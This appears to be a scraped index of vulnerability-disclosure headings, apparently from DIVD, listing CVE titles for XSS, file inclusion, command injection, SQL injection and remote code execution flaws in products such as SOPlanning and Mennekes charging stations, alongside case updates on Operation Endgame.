Reflected POST XSS via the module parameter on Service.Template.cls - CVE-2022-45051

Local File Inclusion via the url parameter on the image proxy endpoint - CVE-2022-45052

Timeline

Summary

Case update: DIVD-2026-00010 - Improper Access Control in Hashtopolis Server

Case update: DIVD-2024-00024 - Multiple vulnerabilities found in the SOPlanning tool

Mennekes Smart - charging stations full disclosure

Command injection in firmware upgrade via URL - CVE-2025-22366

Command injection in manually setting the time - CVE-2025-22367

Command injection in SCU firmware update - CVE-2025-22368

Arbitrary file download using ReadFile endpoint - CVE-2025-22369

SQL injection in web configuration interface fields - CVE-2025-22370

References

SOPlanning Online Planning tool full disclosure

Unauthenticated SQL injection - CVE-2024-27112

Unauthenticated database export via Insecure Direct Object Reference (IDOR) - CVE-2024-27113

Unauthenticated Remote Code Execution via unrestricted file upload - CVE-2024-27115

Unauthenticated Remote Code Execution via TOCTOU race condition in file upload - CVE-2024-27114

More information

Case update: DIVD-2026-00007 - Victim Notification Operation Endgame - S03E03 & S03E04

Case update: DIVD-2026-00001 - DIVD-2026-00001 – EVbee Service App and DC Quick Charging Station

StealC data available from Operation Endgame S03E04

Reflected XSS via the `url` parameter on `novelist.php` - CVE-2022-45049

Reflected XSS via the `title` parameter on `twitter.php` - CVE-2022-45050

Reflected POST XSS via the `module` parameter on `Service.Template.cls` - CVE-2022-45051

Local File Inclusion via the `url` parameter on the image proxy endpoint - CVE-2022-45052